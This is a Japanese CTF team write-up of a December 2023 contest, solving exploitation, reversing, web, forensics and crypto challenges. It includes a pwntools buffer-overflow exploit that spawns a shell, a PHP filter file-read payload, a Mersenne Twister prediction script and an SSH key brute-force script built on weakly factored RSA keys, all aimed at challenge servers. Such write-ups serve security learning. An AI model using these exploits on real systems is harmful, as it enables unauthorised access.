この大会は2023/12/15 14:00(JST)~2023/12/18 14:00(JST)に開催されました。
今回もチームで参戦。結果は4750点で432チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。
crashme (exploitation 100)
$ nc 0.cloud.chals.io 17289 Give me some data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa You entered aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa flag{segfaults_a_hackers_best_friend}
flag{segfaults_a_hackers_best_friend}
medbof (exploitation 200)
Ghidraでデコンパイルする。
undefined8 main(void) { do_input(); return 0; } void do_input(void) { char local_28 [32]; printf("a little harder this time"); fflush(stdout); gets(local_28); return; } void do_system(void) { system("/bin/sh"); return; }
BOFでdo_system関数をコールすればよい。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('0.cloud.chals.io', 27380) else: p = process('./medbof') elf = ELF('./medbof') do_system_addr = elf.symbols['do_system'] payload = b'A' * 40 payload += p64(do_system_addr) data = p.recvuntil(b'time') print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to 0.cloud.chals.io on port 27380: Done [*] '/media/sf_Shared/medbof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) b'a little harder this time' b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x06@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls flag.txt medbof $ cat flag.txt flag{getting_better_at_hacking_binaries_i_see...}
flag{getting_better_at_hacking_binaries_i_see...}
bunker (reversing 100)
Bunker.jarを解凍し、Bunker.classを抽出する。jadx-guiでBunker.classをデコンパイルする。
package defpackage; import java.awt.Component; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JTextField; import javax.swing.UIManager; /* compiled from: bunker.java */ /* renamed from: Bunker reason: default package */ /* loaded from: Bunker.class */ class Bunker extends JFrame implements ActionListener { static JFrame f; static JTextField l; String output = ""; Bunker() { } public static void main(String[] strArr) { f = new JFrame("Bunker"); try { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (Exception e) { System.err.println(e.getMessage()); } Bunker bunker = new Bunker(); l = new JTextField(8); l.setEditable(false); JButton jButton = new JButton("0"); JButton jButton2 = new JButton("1"); JButton jButton3 = new JButton("2"); JButton jButton4 = new JButton("3"); JButton jButton5 = new JButton("4"); JButton jButton6 = new JButton("5"); JButton jButton7 = new JButton("6"); JButton jButton8 = new JButton("7"); JButton jButton9 = new JButton("8"); JButton jButton10 = new JButton("9"); JPanel jPanel = new JPanel(); jButton.addActionListener(bunker); jButton2.addActionListener(bunker); jButton3.addActionListener(bunker); jButton4.addActionListener(bunker); jButton5.addActionListener(bunker); jButton6.addActionListener(bunker); jButton7.addActionListener(bunker); jButton8.addActionListener(bunker); jButton9.addActionListener(bunker); jButton10.addActionListener(bunker); jPanel.add(l); jPanel.add(jButton); jPanel.add(jButton2); jPanel.add(jButton3); jPanel.add(jButton4); jPanel.add(jButton5); jPanel.add(jButton6); jPanel.add(jButton7); jPanel.add(jButton8); jPanel.add(jButton9); jPanel.add(jButton10); f.add(jPanel); f.setSize(120, 500); f.show(); } public void actionPerformed(ActionEvent actionEvent) { this.output += actionEvent.getActionCommand(); l.setText(this.output); if (this.output.length() == 8) { System.err.print("USER ENTERED: "); System.err.println(this.output); l.setText(""); if (this.output.equals("72945810")) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < "Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E".length(); i++) { sb.append((char) ("Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E".charAt(i) ^ this.output.charAt(i % this.output.length()))); } JOptionPane.showMessageDialog((Component) null, sb.toString()); } else { JOptionPane.showMessageDialog((Component) null, "=== BUNKER CODE INVALID ==="); } this.output = ""; } } }
"Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E" と "72945810" のXORを取ればよい。
#!/usr/bin/env python3 enc = 'Q^XSNZD^\\WKk\u0004\tnCVKJkTOPYCm_AGLYUEmPZFLCETFP[[E' key = '72945810' flag = '' for i in range(len(enc)): flag += chr(ord(enc[i]) ^ ord(key[i % len(key)])) print(flag)
flag{bunker_11_says_await_further_instruction}
RATv0 (reversing 100)
Wiresharkでキャプチャ状態にして、ratv0.exeを実行する。dnsでフィルタリングすると、evilminds.c2の名前解決をしようとしていることがわかる。
hostsに以下を登録する。
127.0.0.1 evilminds.c2
あるフォルダで以下を実行し、HTTPサーバを実行する。
>python3 -m http.server 80
ratv0.exeを実行する。
>ratv0.exe Failed to contact domain...they got us
待ち受けていたHTTPサーバでは以下のように表示された。
>python3 -m http.server 80 Serving HTTP on :: port 80 (http://[::]:80/) ... ::ffff:127.0.0.1 - - [16/Dec/2023 11:08:11] code 404, message File not found ::ffff:127.0.0.1 - - [16/Dec/2023 11:08:11] "GET /secretkey HTTP/1.1" 404 -
secretkeyをHTTPサーバのルートフォルダに置いて、再度ratv0.exeを実行する。
>ratv0.exe flag{pl3as3_ca11_th3_rat_3xt3rm1nat0r}
flag{pl3as3_ca11_th3_rat_3xt3rm1nat0r}
easycrack (reversing 200)
Ghidraでデコンパイルする。
undefined8 main(void) { size_t sVar1; long in_FS_OFFSET; int local_40; int local_3c; char local_38 [24]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); printf("Please enter a key: "); fgets(local_38,0xd,stdin); local_40 = 0; local_3c = 0; while( true ) { sVar1 = strlen(local_38); if (sVar1 <= (ulong)(long)local_3c) break; local_40 = local_40 + local_38[local_3c]; local_3c = local_3c + 1; } if (local_40 == 0x539) { sVar1 = strlen(local_38); if (sVar1 == 0xc) { printf("Nice key :) %s",local_38); goto LAB_00400730; } } printf("Bad Key :( %s",local_38); LAB_00400730: if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
長さ12文字で、ASCIIコードの合計が0x539になればよい。
>>> 0x539//12 111 >>> 0x539%12 5 >>> chr(111) 'o' >>> chr(112) 'p'
"o"と7個、"p"を5個含めればよい。
oooooooppppp
dis (reversing 300)
dis.txtからPythonコードを起こし、最後にoを出力する。
#!/usr/bin/env python3 n = [ 36054, 55674, 30924, 59454, 53145, 70425, 72954, 15984, 97605, 93024, 74205, 34515, 91584, 91584, 95364, 91584, 59454, 93024, 38394, 17235, 11115, 72954, 15984, 91584, 93024, 15984, 91584, 93024, 30924, 93024, 78084, 30924, 95364, 91584, 36054, 74205, 30924, 78084, 13644, 93024, 99144, 30924, 78084, 91584, 99945 ] for i, x in enumerate(n): n[i] = int(str(n[i])[::-1]) n[i] -= 999 n[i] //= 432 o = '' for p in n: o += chr(p) print(o)
flag{whos_running_python_on_a_mainframe_damn}
Leaky Site (web 100)
https://thecybercoopctf-leaky-site.chals.io/index.php?resource=php://filter/convert.base64-encode/resource=main_pageにアクセスし、main_page.phpのbase64コードを入手する。
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+TWFpbjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vdW5wa2cuY29tL0BjdGZkaW8vcGljb2Nzcy10aGVtZXNAMC4wLjMvZGlzdC9jc3MvcGljb3N0cmFwLm1pbi5jc3MiPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIG15LTUiPgogICAgICAgICAgICA8aDM+VGhlcmUncyBhIGZsYWcgaGVyZSBidXQgaXQncyBpbiB0aGUgc291cmNlIGNvZGUuLi48L2gzPgogICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIENhbiB5b3UgcHVsbCBpdCBvdXQ/CiAgICAgICAgICAgICAgICA8cHJlPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIC8vICJmbGFnezBoX24wX3BocF95MHVyX2wzYWtpbmdfNGxsXzB2ZXJ9IiA/PgogICAgICAgICAgICAgICAgPC9wcmU+CiAgICAgICAgICAgICAgICBQSFAgaXMgcXVpdGUgd2VpcmQgYWJvdXQgZmlsdGVycyBJIGhlYXIuLi4KICAgICAgICAgICAgPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9ib2R5Pgo8L2h0bWw+
このコードをbase64デコードする。
$ echo PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8dGl0bGU+TWFpbjwvdGl0bGU+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vdW5wa2cuY29tL0BjdGZkaW8vcGljb2Nzcy10aGVtZXNAMC4wLjMvZGlzdC9jc3MvcGljb3N0cmFwLm1pbi5jc3MiPgogICAgPC9oZWFkPgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIG15LTUiPgogICAgICAgICAgICA8aDM+VGhlcmUncyBhIGZsYWcgaGVyZSBidXQgaXQncyBpbiB0aGUgc291cmNlIGNvZGUuLi48L2gzPgogICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgIENhbiB5b3UgcHVsbCBpdCBvdXQ/CiAgICAgICAgICAgICAgICA8cHJlPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIC8vICJmbGFnezBoX24wX3BocF95MHVyX2wzYWtpbmdfNGxsXzB2ZXJ9IiA/PgogICAgICAgICAgICAgICAgPC9wcmU+CiAgICAgICAgICAgICAgICBQSFAgaXMgcXVpdGUgd2VpcmQgYWJvdXQgZmlsdGVycyBJIGhlYXIuLi4KICAgICAgICAgICAgPC9wPgogICAgICAgIDwvZGl2PgogICAgPC9ib2R5Pgo8L2h0bWw+ | base64 -d <!DOCTYPE html> <html lang="en"> <head> <title>Main</title> <link rel="stylesheet" href="https://unpkg.com/@ctfdio/picocss-themes@0.0.3/dist/css/picostrap.min.css"> </head> <body> <div class="container my-5"> <h3>There's a flag here but it's in the source code...</h3> <p> Can you pull it out? <pre> <?php // "flag{0h_n0_php_y0ur_l3aking_4ll_0ver}" ?> </pre> PHP is quite weird about filters I hear... </p> </div> </body> </html>
flag{0h_n0_php_y0ur_l3aking_4ll_0ver}
Lost at Sea (forensics 100)
No.6のパケットで、httpでGETしているパスにフラグがある。
GET /flag%7Bb4by_5h4rk_do0_d0o_d00_d0o_d0o_1n_th3_s34%7D HTTP/1.1\r\n
flag{b4by_5h4rk_do0_d0o_d00_d0o_d0o_1n_th3_s34}
babyhide (forensics 100)
$ binwalk babyhide.jpeg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 382 0x17E Copyright string: "Copyright (c) 1998 Hewlett-Packard Company" 117430 0x1CAB6 PDF document, version: "1.3"
PDFが含まれているので、抽出する。
$ foremost babyhide.jpeg Processing: babyhide.jpeg |*|
抽出したPDFを開くと、フラグが書かれているのがわかった。
flag{baby_come_back}
funding secured (forensics 200)
StegSolveで開き、RGBのLSBにチェックを入れ、バイナリをエクスポートする。先頭3バイトを削除し、後ろの方のFFを全部削除すると、zipになる。zipを解凍すると、flag.txtが展開され、フラグが書いてあった。
flag{what_came_first_the_stego_or_the_watermark}
sleep mode (forensics 400)
>sussy.exe -d decrypt with key.bin -e generate and create key.bin
暗号化する際にkey.binが生成され、それを使って暗号化されるようだ。暗号化データとkey.binをメモリから取得できればよい。
$ volatility -f memory.raw imageinfo Volatility Foundation Volatility Framework 2.6 INFO : volatility.debug : Determining profile based on KDBG search... WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/memory.raw) PAE type : No PAE DTB : 0x187000L KDBG : 0xf80002bfe0a0L Number of Processors : 1 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002bffd00L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2021-10-11 09:22:00 UTC+0000 Image local date and time : 2021-10-11 05:22:00 -0400 $ volatility -f memory.raw --profile=Win7SP1x64 consoles Volatility Foundation Volatility Framework 2.6 ************************************************** ConsoleProcess: conhost.exe Pid: 2692 Console: 0xfff96200 CommandHistorySize: 50 HistoryBufferCount: 2 HistoryBufferMax: 4 OriginalTitle: %SystemRoot%\system32\cmd.exe Title: C:\Windows\system32\cmd.exe - sussy.exe -e flag.txt AttachedProcess: sussy.exe Pid: 3024 Handle: 0x8c AttachedProcess: cmd.exe Pid: 2684 Handle: 0x60 ---- CommandHistory: 0x14d470 Application: sussy.exe Flags: Allocated CommandCount: 0 LastAdded: -1 LastDisplayed: -1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x8c ---- CommandHistory: 0x14d140 Application: cmd.exe Flags: Allocated, Reset CommandCount: 2 LastAdded: 1 LastDisplayed: 1 FirstCommand: 0 CommandCountMax: 50 ProcessHandle: 0x60 Cmd #0 at 0x14bbc0: cd Desktop Cmd #1 at 0x149980: sussy.exe -e flag.txt ---- Screen 0x12d790 X:80 Y:300 Dump: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\user>cd Desktop C:\Users\user\Desktop>sussy.exe -e flag.txt Encrypted output file: flag.txt.enc WAITING $ volatility -f memory.raw --profile=Win7SP1x64 filescan | grep flag.txt.enc Volatility Foundation Volatility Framework 2.6 0x000000001e52b2d0 16 0 RW-rw- \Device\HarddiskVolume1\Users\user\Desktop\flag.txt.enc $ volatility -f memory.raw --profile=Win7SP1x64 filescan | grep key.bin Volatility Foundation Volatility Framework 2.6 0x000000001fa97c50 16 0 -W-rw- \Device\HarddiskVolume1\Users\user\Desktop\key.bin $ volatility -f memory.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000001e52b2d0 -D . Volatility Foundation Volatility Framework 2.6 DataSectionObject 0x1e52b2d0 None \Device\HarddiskVolume1\Users\user\Desktop\flag.txt.enc $ mv file.None.0xfffffa80084130a0.dat flag.txt.enc $ volatility -f memory.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000001fa97c50 -D . Volatility Foundation Volatility Framework 2.6 DataSectionObject 0x1fa97c50 None \Device\HarddiskVolume1\Users\user\Desktop\key.bin $ mv file.None.0xfffffa800872a5a0.dat key.bin
flag.txt.encとkey.binは\x00でパディングされているので、削除する。パディングを削除したflag.txt.encとkey.binを同じフォルダに置いて以下を実行する。
>sussy.exe -d flag.txt.enc Decrypted output file: flag.txt.enc.dec >type flag.txt.enc.dec flag{and_thats_why_i_never_shutdown_my_laptop_ladies_and_gentlemen}
flag{and_thats_why_i_never_shutdown_my_laptop_ladies_and_gentlemen}
wicked (crypto 200)
同じ鍵で7つの平文がXORされていると推測できる。pythonのmtpモジュールを使って、復号する。
Keyを書き出す。
666c61677b77686572655f6172655f656c70686562615f616e645f676c696e64615f695f74686f756768745f746869735f7761735f7769636b6564
$ echo 666c61677b77686572655f6172655f656c70686562615f616e645f676c696e64615f695f74686f756768745f746869735f7761735f7769636b6564 | xxd -r -p flag{where_are_elpheba_and_glinda_i_thought_this_was_wicked
flag{where_are_elpheba_and_glinda_i_thought_this_was_wicked}
slots (crypto 250)
サーバの処理概要は以下の通り。
・money = 1000 ・以下繰り返し ・wager: 数値入力 ・money: wagerだけマイナス ・start = rng() ・test: 32ビットランダム整数の文字列 ・test: 10桁になるよう先頭に0パディング ・testを返す。 ・r1 = start[0:3] ・r2 = start[3:6] ・r3 = start[6:9] ・multi = start[9] ・f1 = r1[2] + r2[2] + r3[2] ・f2 = r1[1] + r2[1] + r3[1] ・f3 = r1[0] + r2[0] + r3[0] ・f1~f3を表示 ・multiを表示 ・result, hit = check(f1, f2, f3) ・resultがTrueの場合 ・money: wager * multiだけプラスする。 ・moneyが0以下の場合、終了 ・moneyが1000000以上の場合、フラグを表示
f1, f2, f3, multの値から乱数の値がわかる。wagerを1だけ賭けて、624回の乱数を取得し、Mersennne Twisterの性質を使って、次以降の乱数を取得し、勝ち負けかがわかる。勝つ場合に全額を掛け、負ける場合に1だけ賭ければ、そのうちフラグが得られる。
#!/usr/bin/env python3 import socket import random import time def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def untemper(rand): rand ^= rand >> 18 rand ^= (rand << 15) & 0xefc60000 a = rand ^ ((rand << 7) & 0x9d2c5680) b = rand ^ ((a << 7) & 0x9d2c5680) c = rand ^ ((b << 7) & 0x9d2c5680) d = rand ^ ((c << 7) & 0x9d2c5680) rand = rand ^ ((d << 7) & 0x9d2c5680) rand ^= ((rand ^ (rand >> 11)) >> 11) return rand def check(f1, f2, f3): if f1[0] == f1[1] == f1[2]: return True, f1[0] + f1[1] + f1[2] if f2[0] == f2[1] == f2[2]: return True, f2[0] + f2[1] + f2[2] if f3[0] == f3[1] == f3[2]: return True, f3[0] + f3[1] + f3[2] if f1[0] == f2[1] == f3[2]: return True, f1[0] + f2[1] + f3[2] if f1[2] == f2[1] == f3[0]: return True, f1[2] + f2[1] + f3[0] return False, "###" def rng(): test = str(random.getrandbits(32)) test = test.zfill(10) return test s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('0.cloud.chals.io', 34865)) for _ in range(12): data = recvuntil(s, b'\n').rstrip() print(data) N = 624 state = [] for i in range(N): data = recvuntil(s, b'? ') print(data + '1') s.sendall(b'1\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) f10 = data.split(' ')[1] f11 = data.split(' ')[2] f12 = data.split(' ')[3] data = recvuntil(s, b'\n').rstrip() print(data) f20 = data.split(' ')[1] f21 = data.split(' ')[2] f22 = data.split(' ')[3] data = recvuntil(s, b'\n').rstrip() print(data) f30 = data.split(' ')[1] f31 = data.split(' ')[2] f32 = data.split(' ')[3] data = recvuntil(s, b'\n').rstrip() print(data) multi = data.split('=')[1] data = recvuntil(s, b'\n').rstrip() print(data) r1 = f30 + f20 + f10 r2 = f31 + f21 + f11 r3 = f32 + f22 + f12 state.append(untemper(int(r1 + r2 + r3 + multi))) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) money = int(data.split(' ')[2]) time.sleep(1) state.append(N) random.setstate([3, tuple(state), None]) while True: start = rng() r1 = start[0:3] r2 = start[3:6] r3 = start[6:9] multi = start[9] f1 = r1[2] + r2[2] + r3[2] f2 = r1[1] + r2[1] + r3[1] f3 = r1[0] + r2[0] + r3[0] result, hit = check(f1, f2, f3) if result: wager = money else: wager = 1 data = recvuntil(s, b'? ') print(data + str(wager)) s.sendall(str(wager).encode() + b'\n') for _ in range(8): data = recvuntil(s, b'\n').rstrip() print(data) money = int(data.split(' ')[2]) if money >= 1000000: break time.sleep(1) data = recvuntil(s, b'\n').rstrip() print(data)
しかし、途中で接続が切られる。よく考えたら、持ち金以上のお金をかけられるので、何回か1000000を指定して成功すれば、フラグが得られる。
$ nc 0.cloud.chals.io 34865 _____ __ ____ ___________ / ___// / / __ \/_ __/ ___/ \__ \/ / / / / / / / \__ \ ___/ / /___/ /_/ / / / ___/ / /____/_____/\____/ /_/ /____/ YOU HAVE 1000 MONEY YOU WIN FOR EVERY MATCHING HORIZONTAL OR DIAGONAL LINE FOR EVERY WIN YOULL GET YOUR WAGER TIMES THE MULTIPLIER MAKE IT TO 1,000,000 FOR A FLAG WAGER? 1000000 => 6 0 4 => 2 4 9 => 4 3 0 MULTIPLIER=9 WINNER! 444 YOU HAVE 8001000 MONEY flag{only_true_twisters_beat_the_house}
flag{only_true_twisters_beat_the_house}
nullnull (crypto 300)
$ nc 0.cloud.chals.io 15076 Welcome to my secure flag sharer where there are null nulls! Print encrypted flag? (Y/N): y b'&\x00\'1pJR:Ox)V{k\x12S\x13-"@*s\x1c\x19qNbc#NO"=L\x16?\x0c"b$\x18k-8kC\x1c:Q' Print encrypted flag? (Y/N): y b'Lo(0`{\x01KY\rEjot\x0c\x13KO\x7f\x1b\x7f^G[\x00RX3\x11h\x06-\x1d\x00;;/\x1d(JDhy{3\x035\t8'
>>> s = b'&\x00\'1pJR:Ox)V{k\x12S\x13-"@*s\x1c\x19qNbc#NO"=L\x16?\x0c"b$\x18k-8kC\x1c:Q' >>> len(s) 49 >>> s = b'Lo(0`{\x01KY\rEjot\x0c\x13KO\x7f\x1b\x7f^G[\x00RX3\x11h\x06-\x1d\x00;;/\x1d(JDhy{3\x035\t8' >>> len(s) 49
0だけXOR鍵にないので、何回も暗号を確認し、登場しない文字がフラグ文字となる。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('0.cloud.chals.io', 15076)) data = recvuntil(s, b'\n').rstrip() print(data) flags = [[c for c in range(32, 127)] for _ in range(49)] while True: print(flags) data = recvuntil(s, b': ') print(data + 'Y') s.sendall(b'Y\n') data = recvuntil(s, b'\n').rstrip() print(data) ct = eval(data) for i in range(len(ct)): if ct[i] in flags[i]: flags[i].remove(ct[i]) finish = True for i in range(len(flags)): if len(flags[i]) != 1: finish = False if finish: break flag = '' for i in range(len(flags)): flag += chr(flags[i][0]) print(flag)
実行結果は以下の通り。
: [[102], [108], [97], [103], [123], [115], [111], [40, 95], [109], [97], [110], [121], [95], [112], [111], [115], [115], [105], [98], [105], [108], [105], [116], [105], [101], [115], [95], [98], [117], [116], [95], [111], [110], [108], [121], [95], [111], [110], [101], [95], [115], [111], [108], [117], [116], [105], [111], [110], [125]] Print encrypted flag? (Y/N): Y b'[~^l\x1a}u\x01>8i1\x05{&4&xR|]g\x030X\x17)4D;]@P\x19/0^@Q{\x13=Cp\x10L3-l' [[102], [108], [97], [103], [123], [115], [111], [40, 95], [109], [97], [110], [121], [95], [112], [111], [115], [115], [105], [98], [105], [108], [105], [116], [105], [101], [115], [95], [98], [117], [116], [95], [111], [110], [108], [121], [95], [111], [110], [101], [95], [115], [111], [108], [117], [116], [105], [111], [110], [125]] Print encrypted flag? (Y/N): Y b'^]V\x1f&\x07Q(C;,\x1fS\x1fdT[\x0f}Iq=\x16\x10\x02:\x19\x14r\x05\x0b:!\x08\x1b6,+O\r&v]O!\r4bJ' flag{so_many_possibilities_but_only_one_solution}
flag{so_many_possibilities_but_only_one_solution}
Eve and The Thousand Keys (crypto 300)
公開鍵が1000個ある。すべてのnを取り出し、一定の幅を超えたらあきらめるようにしたFermat法を使って素因数分解して、秘密鍵を生成する。
#!/usr/bin/env python3 from Crypto.PublicKey import RSA from Crypto.Util.number import * import itertools def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n): x = isqrt(n) + 1 y = isqrt(x * x - n) found = False for _ in range(1024): w = x * x - n - y * y if w == 0: found = True break elif w > 0: y += 1 else: x += 1 if found: return x - y, x + y else: return 0, 0 for i in range(1, 1001): pubkey = 'public/key.%d.pub' % i with open(pubkey, 'r') as f: pub_data = f.read() pubkey = RSA.importKey(pub_data) n = pubkey.n e = pubkey.e assert e == 65537 p, q = fermat(n) if p != 0: phi = (p - 1) * (q - 1) d = inverse(e, phi) privkey = RSA.construct((n, e, d)) fname = 'private/key.%d' % i with open(fname, 'wb') as f: f.write(privkey.exportKey())
261個の秘密鍵を生成できたので、ブルートフォースでこれらの鍵を使って接続を試みる。
#!/usr/bin/env python3 import subprocess import os cmd_format = 'ssh -i %s challenge@0.cloud.chals.io -p 17009' for i in range(1, 1001): fname = 'private/key.%d' % i if os.path.isfile(fname): cmd = cmd_format % fname print('[+] cmd:', cmd) cmd = cmd.split(' ') try: ret = subprocess.call(cmd, timeout=2) print('[+] real private key:', fname) break except: print()
実行結果は以下の通り。
[+] cmd: ssh -i private/key.2 challenge@0.cloud.chals.io -p 17009 challenge@0.cloud.chals.io's password: [+] cmd: ssh -i private/key.3 challenge@0.cloud.chals.io -p 17009 challenge@0.cloud.chals.io's password: [+] cmd: ssh -i private/key.6 challenge@0.cloud.chals.io -p 17009 challenge@0.cloud.chals.io's password: [+] cmd: ssh -i private/key.15 challenge@0.cloud.chals.io -p 17009 challenge@0.cloud.chals.io's password: [+] cmd: ssh -i private/key.17 challenge@0.cloud.chals.io -p 17009 challenge@0.cloud.chals.io's password: : [+] cmd: ssh -i private/key.849 challenge@0.cloud.chals.io -p 17009 challenge@0.cloud.chals.io's password: [+] cmd: ssh -i private/key.853 challenge@0.cloud.chals.io -p 17009 challenge@0.cloud.chals.io's password: [+] cmd: ssh -i private/key.854 challenge@0.cloud.chals.io -p 17009 flag{guess_it_wasnt_prime_season} flag{guess_it_wasnt_prime_season} Last login: Sat Dec 16 07:56:42 2023 from 10.1.165.197 flag{guess_it_wasnt_prime_season} Connection to 0.cloud.chals.io closed. [+] real private key: private/key.854
flag{guess_it_wasnt_prime_season}
Emperor's New Crypto (crypto 300)
「wicked」の問題と同様にpythonのmtpモジュールを使って、復号する。ただ、最初に全然推測文字が表示されないので、全行で文字として適当なものを探していく。また、鍵が"flag{"から始まることを前提に推測していく。
Keyを書き出す。
666c61677b7468655f656d7065726f72735f6e65775f67726f6f76655f69735f6869735f746f74616c6c795f6e65775f63727970746f5f265f6869735f66616e63795f6e65775f636c6f74686573217d
$ echo 666c61677b7468655f656d7065726f72735f6e65775f67726f6f76655f69735f6869735f746f74616c6c795f6e65775f63727970746f5f265f6869735f66616e63795f6e65775f636c6f74686573217d | xxd -r -p flag{the_emperors_new_groove_is_his_totally_new_crypto_&_his_fancy_new_clothes!}
flag{the_emperors_new_groove_is_his_totally_new_crypto_&_his_fancy_new_clothes!}